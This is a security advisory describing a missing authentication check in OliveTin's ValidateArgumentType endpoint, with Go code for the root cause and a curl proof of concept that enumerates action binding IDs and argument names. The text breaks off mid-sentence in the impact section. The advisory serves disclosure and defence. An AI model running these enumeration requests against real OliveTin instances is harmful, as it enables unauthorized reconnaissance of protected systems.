OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Summary
The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.
Details
Root Cause
The ValidateArgumentType handler at service/internal/api/api.go:726 has no authentication check:
```go
func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
if api.argumentNotFoundForValidation(req.Msg) {
return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
}
err := api.validateArgumentTypeInternal(req.Msg)
desc := ""
if err != nil {
desc = err.Error()
}
return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
Valid: err == nil,
Description: desc,
}), nil
}
```
Compare this with adjacent endpoints that DO have auth checks:
```go
// WhoAmI - has auth check
func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
...
}
// GetDashboard - has auth check
func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {
user := auth.UserFromApiCall(ctx, req, api.cfg)
if err := api.checkDashboardAccess(user); err != nil {
return nil, err
}
...
}
```
Oracle Behavior
The endpoint provides different responses based on whether the binding and argument exist:
- Valid binding + valid argument: Returns
{valid: true/false, description: "..."} (200 OK) - Valid binding + invalid argument: Returns
CodeNotFound error - Invalid binding: Returns
CodeNotFound error
While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.
Binding ID Predictability
Binding IDs are SHA256 hashes of action titles (see service/internal/executor/executor_actions.go). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint.
Scope
This finding is only meaningful when AuthRequireGuestsToLogin: true is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.
When AuthRequireGuestsToLogin is true, checkDashboardAccess blocks guest access to other endpoints but NOT to ValidateArgumentType.
PoC
Prerequisites
- OliveTin instance with
AuthRequireGuestsToLogin: true configured
Step 1: Verify other endpoints require auth
Confirm that regular endpoints reject unauthenticated requests:
```bash
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H "Content-Type: application/json" \
-d "{}"
# Returns: CodePermissionDenied - "guests are not allowed to access the dashboard"
```
Step 2: Enumerate binding IDs via ValidateArgumentType
Test candidate binding IDs (SHA256 of guessed action titles):
```bash
# Test if an action titled "Ping" exists
BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1)
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}"
# If action exists: returns CodeNotFound (argument "test" not found for this binding)
# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)
```
Step 3: Enumerate argument names for a known binding
Once a valid binding ID is known, brute-force argument names:
```bash
# Test if argument "target" exists for the Ping action
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}"
# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED
# If argument does not exist: returns CodeNotFound error
```
Impact
1. Information Disclosure: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and w
